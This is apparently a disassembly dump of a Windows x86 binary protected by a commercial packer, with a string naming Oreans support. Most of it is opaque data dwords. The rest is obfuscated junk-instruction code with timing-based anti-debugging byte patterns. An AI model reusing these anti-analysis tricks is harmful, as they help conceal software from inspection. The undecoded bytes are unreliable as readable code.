dd 384FFAEBh, 4D71B4BAh, 7B204845h, 0B99FE946h, 7DA9E8FFh
dd 0D499ABA1h, 4D645FCCh, 4E234864h, 0B3AAAF67h, 218389DCh
dd 0AAAF694Fh, 60BC3ACh, 686D2508h, 0C4C9816Ah, 7CC71C51h
dd 0FE48A5D2h, 0D445E18h, 9684F4E1h, 5C60DBFDh, 37B49C8Ah
dd 524C529Dh, 7FADB26Ch, 3, 2B662415h, 86848943h, 0E3E1E6A0h
dd 45434800h, 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh
dd 222025DDh, 6D7E833Bh, 81E18951h, 4C1h, 4E98100h, 87000000h
dd 895C240Ch, 0B368242Ch, 89000054h
db 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push eax
mov eax, 7E35A7Ah
push ebx
mov ebx, eax
mov esi, ebx
pop ebx
pop eax
push esp
mov ebx, [esp]
add esp, 4
push esi
push ecx
mov ecx, 47A10372h
xor [esp+4], ecx
pop ecx
pop dword ptr [ebx+8]
xor dword ptr [ebx+8], 47A10372h
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_554887
; ---------------------------------------------------------------------------
dd 89226C6Fh, 0E378F0B8h, 0FFC50307h, 0E1611BE0h, 0A0F75D6Dh
dd 8C2F1F1Fh, 8BDBED35h, 6672923Ch, 72FA554Dh, 7AE5FD54h
dd 48372763h, 0E5662809h, 0C6E15026h, 6FB29B1Ah, 7F7C5607h
dd 0B3790267h, 0D297685Eh, 26D1C67h, 0D6EAE753h, 5969E756h
dd 82860866h, 80752462h, 3675500Fh, 0ADEEC760h, 0EE290758h
dd 42FC17Eh, 7175A929h, 702EBA13h, 7AEEC900h, 0C1C53137h
dd 0EA604C21h, 0C295080Ch, 0D842132Eh, 0DE82Ah, 6A7D0000h
dd 0FEDE0264h, 80D584EEh, 0E8BD1810h, 0Ch, 0D0962028h
dd 8A96DA68h, 21EB2073h, 0EE9h, 1377B500h, 0CFCF13FAh
dd 0AE1265CBh, 598D54D9h, 0C681F85Eh, 6545h, 868CA8Bh
dd 66000019h, 5C63E781h, 12E958h, 1B580000h, 268C4EE8h
dd 1DC3CC88h, 0AACFC89Eh, 0F6DCEF76h, 0AE91E8Bh, 2A000000h
dd 930C5B65h, 4F77914Fh, 85EB81D5h, 0E87DF7DEh, 5, 992BC527h
dd 0DAF68096h, 6BEB8159h, 0E91C85C3h, 0Bh, 0F7928774h
dd 3301AB67h, 8143D388h, 75CC6EBh, 0E4F18019h, 0DE81E89h
dd 11000000h, 45622B78h, 0F49D46F6h, 3DA8FE7h, 6E9h, 0FF65C00h
dd 5F4F0E42h, 5104EE83h, 0EE8h, 335B6200h, 22ECE5CAh, 0D6518709h
dd 66F3497Fh, 5959C88Bh, 0F01E883h, 3185h, 5E800h, 63660000h
dd 56C4405Ah, 0AE9h, 0D8865200h, 9F5D9B2Dh, 5A48B13Ah
dd 21E95Ah, 205C0000h, 3CA15C3Ah, 88EB7922h, 92E96E9Bh
dd 0EA8A60D9h, 0FFFF3FE9h, 3B8743FFh, 23921B2Ah, 0E94608C9h
dd 83h, 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h
dd 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h, 785B8B00h, 1C245C03h
dd 324738Bh, 561C2474h, 8B207B8Bh, 7C031C73h, 74032024h
dd 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h
dd 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh, 0D15FE075h
dd 4B70FE1h, 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h
dd 8BFFFFFFh, 400E9CAh, 0
db 0
align 2
a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah
db 0Dh,'Please, contact support@oreans.com. Thank you!',0
align 4
dd 60h dup(0)
db 0
byte_58454D db 3 dup(0) ; DATA XREF: ___:00444750o
dd 82h dup(0)
dd offset dword_55FFD8+28h
dd offset dword_44622C+9DD4h
dd 0
dd 0B9E90000h, 6A000010h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0AE79C350h, 5C2BF2B6h
dd 8589F4E0h, 7E01BB9h, 1B71858Bh, 8D2907E0h, 7E017BDh
dd 4244439h, 9C850Fh, 0EE90000h, 0D2000000h, 7795630h
dd 0B5189893h, 33143080h, 0D8529ADh, 8307E016h, 0E00569BDh
dd 840F0007h, 76h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 0E9C35747h, 0C1B5010Bh, 8D07E008h, 0E039F885h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 918D89BAh, 0FF07E021h, 51006AE0h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 7C70A72Eh, 7D3108CAh, 31019D29h, 858B07E0h, 7E03085h
dd 244439F8h, 37850F04h, 60000000h, 3D7BF0Fh, 0E0208D9Dh
dd 85C76107h, 7E37FB6h, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 50C35242h, 1B758531h, 6A6007E0h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 235AC351h, 29243111h, 0E0016195h, 2AE907h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0CB45A9C3h, 9D897A5Bh, 7E025CDh, 0
dd 1B8h, 34858700h, 0B07E381h, 0FFF675C0h, 0E00759B5h
dd 0AE858F07h, 6A07E37Fh, 0FFFF6A20h, 0E007E195h, 99BD8307h
dd 7E006h, 6A0874h, 18A995FFh, 0BD8307E0h, 7E01551h, 680D7401h
dd 80h, 95FFFF6Ah, 7E007E1h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 8BC35141h, 774FC930h, 8994F02Dh
dd 0E032199Dh, 0B807h, 0BE90000h, 63000000h, 0B4DE589Ah
dd 0BBBA1337h, 548B9A4Ch, 89F52824h, 0E0294185h, 12E907h
dd 8F1B0000h, 6EB0F8CEh, 0E94B1230h, 55CBE75h, 2BD86438h
dd 3CBEh, 0FE900h, 0F90D0000h, 0B42C517Dh, 9453EA9Dh, 0B5DF6F66h
dd 2474033Dh, 6830F24h, 29000000h, 0E030DDB5h, 0E9AD6607h
dd 14h, 4B6282Dh, 9F51B23h, 0A22EDA90h, 972BEBD2h, 51C2C2ADh
dd 24244403h, 525050F8h, 52505250h, 585A310Fh, 5250310Fh
dd 585A310Fh, 310F585Ah, 12E9h, 92C2DD00h, 2B3DAA64h, 5FB06FB1h
dd 57BAB73Eh, 5AC121FDh, 24048958h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 28C35545h, 0CE2B3463h, 95896D1Ch
dd 7E0261Dh, 344D8529h, 408B07E0h, 52006A78h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0B5559A1Eh
dd 830F91BBh, 1, 0B6BD83FCh, 7E37Fh, 0D5850Fh, 0BD890000h
dd 7E02191h, 0A3D08160h, 8057DA92h, 506179D4h, 5E95250h
dd 4E000000h, 65A4EAD4h, 6E9310Fh, 7F000000h, 0AA87FC9Ah
dd 89585AFEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 276455C3h, 0D11BBF69h, 8A0F60CCh
dd 4, 0DA8CBF66h, 6890Fh, 8D8B0000h, 7E02641h, 24448B61h
dd 759D892Ch, 5007E022h, 8880Fh, 880F0000h, 2, 4896160h
dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 9582EFBCh, 62774E95h, 1898509h, 666007E0h
dd 8925E6BEh, 0E01FADBDh, 858D6107h, 7E34C84h, 6D8D8B60h
dd 0F07E02Fh, 0FF61FAB7h, 7DB589D0h, 307E014h, 60282444h
dd 0BA5F781h, 858B59F4h, 7E0135Dh, 18408B61h, 8B6040F9h
dd 0E01FC5BDh, 0D1B70F07h, 0B2858961h, 0F807E37Fh, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0E937918Fh, 6, 0F4AFAD72h, 708BEA49h, 57006A78h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 95A8B042h, 534581E3h, 0E86072B9h, 6, 0D7CF0B2Fh, 0CA81AC46h
dd 728F8DEAh, 0D8B70F59h, 1CC68361h, 0C6B70F60h, 129D8501h
dd 966107E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 0E7C35040h, 0EE4F4A3Bh, 7C814ACBh, 2424h, 870F1000h
dd 110h, 2A218501h, 509007E0h, 10E952h, 34BD0000h, 0E7046A9Dh
dd 384FC49Fh, 722BE86Eh, 310F805Fh, 14E9h, 65598300h, 456C588h
dd 729CA443h, 0DB615CFAh, 0E08B43F9h, 50585A0Dh, 10E95250h
dd 0D4000000h, 0EC3A5081h, 0D4807909h, 0EFFDCD74h, 0FEA8B5Dh
dd 6E931h, 0F9A60000h, 565F9860h, 0F90585Ah, 88Bh, 2890F00h
dd 60000000h, 24448B61h, 0FE928h, 0B0C50000h, 56CF24D5h
dd 797EA1CEh, 0A570669Fh, 870F90B2h, 10h, 0BE9h, 0B8CCEF00h
dd 783C3737h, 9F935CACh, 830F6050h, 6, 840Fh, 0CAB10000h
dd 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0B6D34DC3h, 6F976D0Dh, 0E956F446h, 12h, 3EF9ACC3h
dd 93F6D829h, 3016AE99h, 5E37996Ah, 858DDACBh, 7E34C84h
dd 0C7816660h, 0BF0FA12Eh, 0D0FF61C9h, 0A8C0Fh, 5E90000h
dd 0E2000000h, 0FD5D818Bh, 298D8996h, 307E019h, 29242474h
dd 0E029F1B5h, 0BD8DF807h, 7E0055Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 5EC35646h, 8F0FD5C2h, 1Eh
dd 14E860h, 94370000h, 0AA17998Ah, 0AEFD322Eh, 25AF0472h
dd 0BA878C65h, 60595A07h, 0ADF86161h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 22C35141h, 50606094h, 0DCB4615Bh
dd 0B70F6061h, 0AD9D31FBh, 6107E02Ch, 24247C81h, 10000000h
dd 109870Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 602311C3h, 6820Fh, 0DE810000h, 10A67F0Ch
dd 1D518589h, 906107E0h, 52505250h, 0AE9h, 0D9246F00h
dd 0C12D8E32h, 0FA1A217h, 0EE931h, 0A4A80000h, 0F10B29A3h
dd 92C93DD0h, 457934F9h, 310F585Ah, 52505250h, 585A310Fh
dd 6160310Fh, 585A585Ah, 0BF606050h, 47272DE5h, 56616160h
dd 3F75BF66h, 6090615Fh, 7ADBD89h, 0F38007E0h, 448B6197h
dd 66602824h, 5061D68Bh, 7E9h, 0C7553C00h, 0AB34E372h
dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 131BC352h, 3D71501Eh, 0DE9h, 0A7E3D300h
dd 122787EFh, 8AEE0C68h, 858DFCBBh, 7E34C84h, 198C0Fh
dd 14E90000h, 0F7000000h, 0AEA1A8Ah, 63DD9440h, 8AE67B9Bh
dd 0B99C4123h, 0FFB32535h, 5E9D0h, 48FE0000h, 313C71Ch
dd 0E9242444h, 10h, 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h
dd 50006AABh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 7386CF54h, 0FA81FF7Ch, 10000h, 72C820Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 597542C3h, 860FBB97h, 0Ch, 6820Fh, 8D290000h
dd 7E00FD1h, 59BD8DF9h, 6A07E015h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60D7C352h
dd 68C0Fh, 0CA810000h, 2E0A0B1h, 68B0Fh, 0B5890000h, 7E0004Dh
dd 81F5AD61h, 24247Ch, 0F100000h, 0EB87h, 5090FC00h, 68D0F52h
dd 50000000h, 5A310F52h, 60310F58h, 5B505952h, 50585A61h
dd 860F5250h, 6, 830Fh, 310F0000h, 7E9h, 0A412AB00h, 0EDBE148Dh
dd 6A90585Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 981EC350h, 0DC8E93BDh, 448BF667h
dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 3B008FC3h, 0F1D7A00Dh, 519589C4h, 9007E01Dh
dd 3840F60h, 66000000h, 0B866F08Bh, 50610053h, 9FBE6660h
dd 74D5BEC8h, 90612AF9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 0AAC35747h, 66609F09h, 0CC8DF781h, 8D61CE8Bh
dd 0E34C8485h, 75858907h, 0FF07E021h, 0AE9D0h, 27E00000h
dd 38E79715h, 0BDE33156h, 24244403h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 9FC35242h, 8B60D905h, 0E01841B5h
dd 8C0F07h, 61000000h, 4D958960h, 0F507E019h, 5E95061h
dd 23000000h, 361C89B7h, 0E9240489h, 14h, 0C292A31h, 17EBDEF9h
dd 56912C5Ch, 0C2AAE3E8h, 791D5429h, 169D8D29h, 0FAB07E0h
dd 683h, 0B5BD2900h, 8D07E01Fh, 0E01ACDBDh, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 4ADFBE76h, 108F0Fh, 0BE90000h, 48000000h, 0CAA12254h
dd 8BB10F3Bh, 0BD89412Eh, 7E02571h, 7C81FCADh, 2824h, 870F1000h
dd 0E1h, 0DE9h, 0C7DB5700h, 16142A8h, 75C32409h, 50500E50h
dd 7E86052h, 50000000h, 0F2A5B0F5h, 605E3B38h, 310F6161h
dd 8E960h, 0C69E0000h, 0D31BF1A4h, 0B8668144h, 5A611716h
dd 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 11C35545h, 3B5CD4E8h, 2C24448Bh, 22A99D09h, 0F5007E0h
dd 0C8Ch, 68C0F00h, 0F000000h, 8Fh, 24048900h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 903ECE3Dh
dd 343101B9h, 84858D31h, 0F807E34Ch, 6AD0FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 2B0FD5C3h
dd 0D281601Bh, 42FE448Dh, 1ADD8529h, 16107E0h, 0E01A299Dh
dd 24440307h, 0B5896028h, 7E01EBDh, 0EE9h, 976F6E00h, 6C4E0841h
dd 676130F3h, 61683665h, 9E9h, 8FA8600h, 0ED431B41h, 6AABF32Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0C7DFC351h, 0FF5EDBBCh, 0E37FB28Dh, 0B2BD8307h
dd 7E37Fh, 0C0330A75h, 8DE4B58Dh, 0E6FF07E3h, 7C81AD56h
dd 2824h, 0E771000h, 24448B50h, 858D502Ch, 7E34C84h, 4403D0FFh
dd 8B972824h, 0AE858ADFh, 8407E37Fh, 3A0474C0h, 574C7507h
dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h
dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h
dd 0E0294185h, 0FF5DE907h, 6A5EFFFFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B418C350h
dd 99D8B60h, 6607E002h, 51E3C281h, 0E8B0F61h, 60000000h
dd 29FD858Bh, 9D8907E0h, 7E00FE1h, 0DB816061h, 57044077h
dd 2E41858Bh, 8B6107E0h, 0E0294185h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 19973798h
dd 11D2CE8h, 0DDBD89ADh, 0D107E02Fh, 55006AE0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 99F704FAh
dd 500B427Ah, 6E9C4h, 0D6840000h, 271F1774h, 26218589h
dd 850307E0h, 7E01ACDh, 2FC59589h, 0BE07E0h, 0F000000h
dd 189h, 8589FC00h, 7E02A39h, 0AD66F596h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0E5C35141h, 57FA8F07h
dd 0E958763Dh, 0Dh, 0F7EDA22Bh, 48625408h, 2521B9F0h, 1D8C0FE7h
dd 0F000000h, 1782h, 12E900h, 0B4330000h, 0E05BB98Ah, 0A69284FDh
dd 0A2A99914h, 0C9E15873h, 0DBBF0F60h, 0C161ABB4h, 852902E0h
dd 7E013EDh, 55D8503h, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 9D8975C3h, 7E02411h
dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0B1ADB47Ch, 6AADD9h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 870F22C3h
dd 6, 4CD8D31h, 7C8107E0h, 2424h, 870F1000h, 0B6h, 0BE9F9h
dd 88A50000h, 6284CD85h, 0EEE0D658h, 8D0F5016h, 10h, 0A8B0Fh
dd 5E90000h, 8D000000h, 833B8EB8h, 89240489h, 0E01379B5h
dd 24448B07h, 1830F28h, 0F8000000h, 10E96090h, 0A3000000h
dd 4F7A44F6h, 0CC24341Eh, 0E0C08DFh, 527BF4B1h, 14E8h
dd 26F59600h, 7B5DDF47h, 0F970D10h, 70DE3CDDh, 371E904Dh
dd 615E5A4Dh, 50525050h, 830F52h, 0F000000h
dword_58554C dd 860F31h, 5A000000h, 0F310F58h, 688h, 0F525000h, 5A585A31h
; DATA XREF: ___:004448DCo
dd 0B5899058h, 7E02C79h, 4C84858Dh, 0BD0107E3h, 7E0052Dh
dd 830FD0FFh, 6, 1D65B589h, 440307E0h, 9D892424h, 7E02DA9h
dd 1C244489h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 87C35343h, 0C82303F8h, 14E9FC60h, 3C000000h, 88406E00h
dd 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 61B6057Ah, 75985C6h
dd 0C70007E0h, 0E3813485h, 7, 0B685C700h, 7E37Fh, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0CFB4C353h, 0C880FE6h, 0F000000h, 68Ch, 1D9D2900h
dd 0F07E01Dh, 0C8Eh, 6850F00h, 89000000h, 0E006859Dh, 0C2F96107h
dd 800F0008h, 6, 5A1B589h, 858B07E0h, 7E0055Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1DC35747h, 89CD04C8h
dd 0E018AD95h, 6A4A07h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 667270C3h, 869433EDh, 8F0FF93Ah
dd 0Fh, 0AE9h, 93461400h, 0AEFD4A9h, 6B5D45D3h, 8E904D2h
dd 49000000h, 307AF74Fh, 38E244Eh, 899589C2h, 9607E019h
dd 68E0Fh, 60600000h, 61C38B61h, 53006AADh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 4AFBE19Ah
dd 247C810Fh, 24h, 27870F10h, 60000001h, 10830Fh, 0AE80000h
dd 88000000h, 1E72D8F5h, 466B0561h, 61F859F8h, 0EE990h
dd 0EC9E0000h, 84EC472Dh, 3BBF49A3h, 91671DA2h, 7880F50h
dd 60000000h, 8B666160h, 609061D9h, 7159D33h, 0FA8B07E0h
dd 24448B61h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0EE91Ah, 0E1290000h, 0B8B6C4E8h
dd 0D1B11571h, 0F936D48Ah, 899D89h, 505007E0h, 0E9525052h
dd 0Ah, 6ACD3BC0h, 0E3DF2D14h, 310FBF53h, 585A6160h, 0E860310Fh
dd 14h, 68122787h, 0BB8AEE0Ch, 23ED56FCh, 3B1F7B92h, 0C2EA8242h
dd 615F535Bh, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 8B600F92h, 0E0204DBDh
dd 11830F07h, 0E8000000h, 0Bh, 5C89F774h, 4087425Eh, 5A01F36Bh
dd 84858D61h, 6007E34Ch, 0EE957h, 0FBC10000h, 0A3E1326Ah
dd 0A58629D4h, 89DF208h, 0D0FF615Ah, 9E9h, 2D497100h, 0AD0342C2h
dd 63E97516h, 0F9FFFFFDh, 9463858Dh, 616007E3h, 6880F90h
dd 60000000h, 5B525B53h, 9E95061h, 7000000h, 4B8361F4h
dd 3A9CACB8h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 820FCAF0h, 0Eh, 91BD8B60h, 3307E000h
dd 0E01BF98Dh, 0FF646107h, 35h, 0A5B58900h, 8B07E031h
dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0F89D68C3h, 16158589h, 8B0F07E0h, 0Ch, 6890Fh
dd 830F0000h, 0
dd 1F59D01h, 896407E0h, 25h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 6929C187h
dd 91C9858Dh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0EBA2B1C3h, 1C918D89h, 608907E0h
dd 0DE901h, 9B190000h, 0CE1A5E9h, 3B48AB1h, 0E94B35BFh
dd 30Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 0B1C35747h, 0B60B920h, 0E02F2995h, 0CE907h, 993A0000h
dd 346AED67h, 1DB4AC10h, 8B619619h, 0E8DBh, 815D0000h
dd 0E391C2EDh, 0FF9CBC07h, 0BD830012h, 7E01551h, 8B187400h
dd 0E0203985h, 0C607h, 1E09858Bh, 0C607E0h, 0FD95FF00h
dd 6007E028h, 7BBAB5FFh, 858D07E3h, 7E37BBEh, 0B6858D50h
dd 5007E37Dh, 188195FFh, 0C48307E0h, 6A610Ch, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 57FA8FC3h
dd 0F58763Dh, 0C82h, 68F0F00h, 31000000h, 0E026F19Dh, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 5D203572h, 0EB740A46h, 0DE960h, 0B56C0000h, 17E7CC4Ch
dd 50B4C178h, 80CDDF37h, 8D610CCDh, 0E37DB6B5h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 7C46A794h, 0FE21640h, 0C86h, 68A0F00h, 89000000h, 0E008FD9Dh
dd 15BD8D07h, 8907E002h, 0E030C99Dh, 3E8007h, 94840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 5B85AC3h, 446EBC4Ch, 3114F9B2h, 0E0142995h
dd 1810F07h, 0F8000000h, 2565B589h, 6AA407E0h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 3821C353h, 704EC4C0h, 96B965Dh, 0E00F4585h, 35958907h
dd 0E907E013h, 0FFFFFF89h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 71C35343h, 0DB816660h, 0C580BE41h, 0B861BDh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 4FD1C355h, 89C2B28Fh, 0E030B195h
dd 0F560AA07h, 61D0B70Fh, 260D8D89h, 7B807E0h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0D576C357h, 8928D94Ah, 0E019118Dh, 4D85C707h
dd 107E012h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0EBC4C355h, 9C9F2F35h
dd 8F0F60F8h, 6, 31C9BD0Bh, 9B007E0h, 0E88D8D61h, 6A07E04Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0FF1C355h, 68Dh, 0FDBD8900h, 0F07E015h, 689h
dd 85BD0100h, 0FF07E01Ch, 0BE960E1h, 19000000h, 10D608B9h
dd 8F3A459Eh, 95293AF7h, 7E01BD1h, 0DE961h, 53A40000h
dd 283C87EEh, 8056B9AFh, 8B91D4CBh, 550C245Ch, 0E8h, 0ED815D00h
dd 7E3946Dh, 0B8838Bh, 85890000h, 7E37BBAh, 91BB858Dh
dd 838907E3h, 0B8h, 0C3C0335Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 71C35242h, 6810FDCh, 31000000h
dd 0E004ADBDh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 25CE921Ch, 0D7D8409Eh
dd 60F8F3D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0E6C35747h, 720D4DC7h, 0D6DA2821h, 79BD29FCh, 8D07E008h
dd 0E3974E85h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 2C1A7CA0h, 0E91F9B37h
dd 8, 51DEFF5Eh, 0C96D770Fh, 0F525090h, 68Fh, 0F525000h
dd 0F585A31h, 8E931h, 5BBA0000h, 94F4CC6Bh, 585A8E91h
dd 0E9525050h, 0Fh, 0AE6F4F31h, 0E1E2868Ch, 8FA597F3h
dd 0F275AA8h, 68C0F31h, 50000000h, 5A310F52h, 90585A58h
dd 91E28160h, 0BB5A1632h, 39BCC084h, 35FF6461h, 0
aIae3rDi db '‰…3à',7,'d‰%',0
align 4
dd 0B58D3100h, 0F807E030h, 97E7858Dh, 952907E3h, 7E00805h
dd 60016089h, 94A9D281h, 895668ECh, 0E00E15BDh, 0C6615E07h
dd 0E0075985h, 8D894F07h, 7E00619h, 4E8h, 0C8742A00h, 14E960FEh
dd 27000000h, 207CA66Ah, 0AEC3479Ah, 745B2D98h, 8FB14B5Ah
dd 8B656A04h, 605061D0h, 0DE8h, 54C84D00h, 88A170A2h, 0A5BC99E1h
dd 21BF2986h, 58126D75h, 12E9h, 0FA49E400h, 87811541h
dd 0BE883819h, 0C3A988F9h, 61427C28h, 424448Bh, 10E9h
dd 0F8FF6800h, 6CFE6CCBh, 0E2237DC3h, 0BC09095Ch, 0E9008B35h
dd 9, 5056C999h, 0AC312979h, 244489E7h, 58616004h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DDC35242h, 62AE2D7Dh
dd 0B8B7FC2Ah, 18858D29h, 0FC6007E0h, 21618D29h, 0FF6107E0h
dd 0E0292DB5h, 0E9F96007h, 14h, 559D016Dh, 0D4BA621Eh
dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 0E8858D61h, 6007E37Fh
dd 465EBA66h, 0DE8h, 26130300h, 5F5DDB85h, 413953C5h, 615F165Ah
dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 9A4A1CC3h, 0E93C18D9h, 12h, 9665657h, 4B2C8E23h
dd 0C54061F3h, 0FDB59FDEh, 11E96AC7h, 7000000h, 0FAA2864Ch
dd 0FCA3C9ECh, 0ABEDAE7Eh, 65CED2D7h, 0BAE9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 1D1FCD2Eh, 5C8B52C2h, 0E8550C24h, 0
dd 58ED815Dh, 8B07E397h, 0E02F0185h, 2D858907h, 8B07E029h
dd 0E0308585h, 25858907h, 8B07E014h, 0E01B7185h, 0C9858907h
dd 0C607E000h, 0E0075985h, 85C70007h, 7E38134h, 0
aNeccuIg db '…ç—ã',7,'‰ƒ¸',0
align 4
a3J db ']3ÀÃj',0
dw 0E857h
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 0D284BD3Bh
dd 602D028Dh, 57C8B866h, 5E616051h, 1D9D3161h, 6007E01Dh
dd 129D958Bh, 815007E0h, 1F8D6DE8h, 0BC615F50h, 12FF74h
dd 13E9h, 66CA3A00h, 4EE076F5h, 0C684A114h, 0F6E873B2h
dd 0DB42AA63h, 58F64h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 626BC355h
dd 10E9EE05h, 0B1000000h, 1D6213BFh, 7E1EB9A7h, 4A0258h
dd 0E98BDD6Ch, 12h, 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh
